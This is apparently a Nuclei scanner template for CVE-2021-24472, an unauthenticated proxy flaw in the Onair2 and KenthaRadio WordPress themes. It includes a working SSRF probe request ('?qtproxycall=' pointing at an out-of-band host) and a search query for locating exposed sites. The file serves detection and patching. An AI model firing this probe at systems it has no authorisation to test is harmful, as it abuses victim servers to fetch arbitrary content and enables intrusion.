nuclei-templates/http/cves/2021/CVE-2021-24472.yaml

48 lines
1.7 KiB
YAML
Raw Normal View History

2021-07-13 13:50:10 +00:00
id: CVE-2021-24472
info:
name: Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery
author: Suman_Kar
severity: critical
2023-08-04 06:44:56 +00:00
description: |
Onair2 < 3.9.9.2 and KenthaRadio < 2.0.2 have exposed proxy functionality to unauthenticated users. Sending requests to this proxy functionality will have the web server fetch and display the content from any URI, allowing remote file inclusion and server-side request forgery.
2023-09-06 12:09:01 +00:00
remediation: |
Update Onair2 to version 3.9.9.2 or higher and KenthaRadio to version 2.0.2 or higher to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/17591ac5-88fa-4cae-a61a-4dcf5dc0b72a
2023-08-04 06:44:56 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24472
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24472
cwe-id: CWE-918
epss-score: 0.0292
epss-percentile: 0.89692
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:qantumthemes:kentharadio:*:*:*:*:*:wordpress:*:*
metadata:
2023-08-04 06:44:56 +00:00
verified: true
2023-09-06 12:09:01 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: qantumthemes
product: kentharadio
2023-09-06 12:09:01 +00:00
framework: wordpress
publicwww-query: "/wp-content/plugins/qt-kentharadio"
2023-08-04 06:44:56 +00:00
tags: wordpress,lfi,ssrf,wp,wp-plugin,wpscan,cve,cve2021
http:
2023-08-04 06:44:56 +00:00
- method: GET
path:
- '{{BaseURL}}/wp1/home-18/?qtproxycall=https://oast.me'
matchers-condition: and
matchers:
- type: word
2023-08-04 06:44:56 +00:00
part: body
words:
2023-08-04 06:44:56 +00:00
- "<h1> Interactsh Server </h1>"
2021-07-13 13:50:10 +00:00
- type: status
status:
- 200
# digest: 4b0a00483046022100ea55f007fb59bd7f242455ce24fbb187c047414e7f169ac9196ce65ae20246d6022100d919f969e1a353cb477203a48fef97bb8be3db5bfa531b518c139c20d3d3149a:922c64590222798bb761d5b6d8e72950